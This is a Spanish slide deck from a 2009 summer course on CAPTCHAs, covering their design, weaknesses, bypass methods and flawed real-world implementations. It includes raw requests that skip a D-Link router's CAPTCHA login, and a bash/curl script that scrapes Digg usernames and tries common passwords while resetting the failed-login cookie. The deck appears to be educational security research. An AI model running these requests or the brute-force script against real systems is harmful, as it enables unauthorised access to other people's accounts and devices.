2. Completely Automated Public Turing test to
CAPTCHAS.
tell Computers and Humans Apart.
Prueba de Turing pública y automática para
C[R]APCHAS. diferenciar máquinas y humano
Curso de Verano - Salamanca, julio 2009
3. Introducción
• Creador Luis von Ahn,
Manuel Blum y Nicolas J.
Hooper
• Año 2000
• Evitar añadir sitios al
directorio de Yahoo!
automáticamente.
• Pregunta – Respuesta
• Reverse Turing
C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
4. • Antes de llevar a cabo una acción se
comprueba la condición de Hommer.
• Previene que software automático realice:
– SPAM: blogs, wikis, foros
– Registro masivo de usuarios
– Votaciones
– Fuerza Bruta de usuarios / contraseñas
• Diseño:
– Fácil de resolver para el hombre
– Difícil de resolver para la máquina
– Fácil de generar y evaluar
C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
6. ¿Contraseña? ¿Correcta?
NO SI
¿Contraseña? ¿Correcta?
NO
SI
¿Contraseña? ¿Correcta?
NO SI
¿allant?
NO SI
C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
7. Evolución
EZ-Gimpy
+ Contraste
+ Fondo
+ Fuente no fija
+ Línea
- Fondos
+ Superposición
C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
8. Captchas no resolvibles Accesibilidad
http://www.w3.org/TR/turingtest/
C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
9. Vulnerabilidades
• Tipo de letra:
– No variable
– Sin rotación
– Colores fijos
– Sin deformación
– Sin superposición
– Misma posición de caracteres
– Misma longitud de caracteres
– Reducido código de caracteres
• Fondo:
– Colores fijos
– Sin textura o textura fija
C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
10. Diseño seguro
• Rotar colores en la fuente y el fondo.
• Uso de mayúsculas y minúsculas.
• Letras más oscuras y más claras que el fondo.
• Uso de escala de colores (gradient).
• No alinear los caracteres horizontalmente.
• Sobreponer las letras.
• No utilizar palabras de diccionario.
• Distinta longitud de caracteres.
• Dibujar líneas sobre las letras del mismo color.
• Amplio código de caracteres.
C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
11. Métodos para saltar CAPTCHAs
• Mediante el uso de
OCR / IVR
• Explotando la
implantación - MoBIC
• Usando mano de obra
barata
C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
12. Cortar, copiar, pintar y colorear
A
R
C
3
I
C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
18. Software comercial
http://www.guruperl.net/products/captcha-bypass/
C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
19. Software comercial
http://www.guruperl.net/products/captcha-bypass/
C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
20. Software comercial
http://www.guruperl.net/products/captcha-bypass/
http://xrumer-palladium.blogspot.com/
C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
21. Software comercial
http://www.guruperl.net/products/captcha-bypass/
http://xrumer-palladium.blogspot.com/
C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
22. Servicios Captcha
http://www.lafdc.com/captcha/
C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
23. Captchas de Voz
•No son efectivos
•Más inseguros que los tradicionales de imágenes
•Poco difundidos
•Pruebas de concepto para Google
•IVR (Interactive Voice Response)
http://blog.wintercore.com/?p=11
http://vorm.net/captchas
C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
24. Resolviendo Captchas a Bajo coste
Resolviendo CAPTCHAS Semiautomáticamente
C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
30. Router D-Link
1. Modificación de los DNS del
router por malware (pharming)
2. D-Link actualiza firmware
añadiendo un CAPTCHA a la
autenticación.
3. La implantación es incorrecta,
paginas como la que gestiona
contraseña WPA, son accedidas
sin necesidad de CAPTCHA
GET /post_login.xml?hash=c8[…]a&auth_code=02F&auth_id=26
GET /
/post_login.xml?hash=c8[…]6a
GET /
/wifisc_add_sta.xml?method=pbutton&wps_ap_ix=0
http://www.milw0rm.com/exploits/8696
C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
31. Fallos genéricos en Implantaciones
• Re-utilizando el ID de sesión para un
CAPTCHA conocido
• Envío de identificación de CAPTCHA +
solución, re-utilización de CAPTCHAs
conocidos.
• Reiniciando intentos con usuario conocido
• Uso de un número reducido de CAPTCHAS
(generación de BBDD)
• Vulnerable a otros ataques web: XSS,
CSRF, etc
C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
35. Análisis del Captcha - Recaptcha
C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
36. Análisis del Captcha - Recaptcha
C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
37. reCaptcha.com
•60 millones de captcha resueltos por día
•Technorati, meneame, twitter, lastfm.es …. Etc
•10 millones de palabras por día
C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
44. Digg.com
•Envío usuario y contraseña mediante un POST
•El servidor crea una sesión y devuelve un 302 (redirección) a
otra página que comprueba si la sesión es correcta o
incorrecta en base al usuario y contraseña
•Si la contraseña es válida paso, si no es válida me envía a la
página de autenticación con un error y la misma sesión que
suma 1 error fallido.
•Elimino la sesión (y con ello el contador) y repito el envío de
usuario y contraseña, volviendo al punto 1. Por lo que el
captcha no aparecerá nunca al no sumar los cuatro intentos.
C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
45. Digg.com
302
Set-Cookie
Se comprueba
POST Cookie? session
con u/p generada
Hay Cookie
Fallos = 3
Valido?
Cookie: fallos+1
CAPTCHA Validado
C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
46. Digg.com
302
Se elimina
cookie Set-Cookie
Se comprueba
POST Cookie? session
con u/p generada
Hay Cookie
Fallos = 3
Valido?
Cookie: fallos +1
CAPTCHA Validado
C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
47. Digg.com
Usuarios demócratas: (nicknames == usernames)
for i in `seq 1 1018`; do
curl –d "getdpage=$i&id=10&page=3&friends=0"
"http://digg.com/politics/Bobama_s_44th_Amer/who” |
grep users|sed -e 's|.*href="/users/(.*)">.*|1|g’
done
Password “123456” (nadie la usa)
for pass in password 123456; do
for i in `cat USUARIOSOBAMA`; do
echo -n $i:$pass
curl -c digg.txt -s -L -D - -d "username=$i&password=$pass&persistent=on"
'http://digg.com/login/prepare/digg'| grep -Ei "D.meta.user.loggedIn|incorrect";
done
done |tee -a passwd2.digg
C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
48. Digg.com
http://www.enriquedans.com/2009/04/digg-0wned.html
C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
49. Digg.com
http://www.enriquedans.com/2009/04/digg-0wned.html
C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
50. Conclusiones
• Los CAPTCHA son un sistema de eficacia
dudable.
•El mayor riesgo al que se somete es la
mano de obra barata.
•Su implantación es compleja y requiere de
un análisis profundo.
•Un diseño incorrecto puede volver la
medida inútil
C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009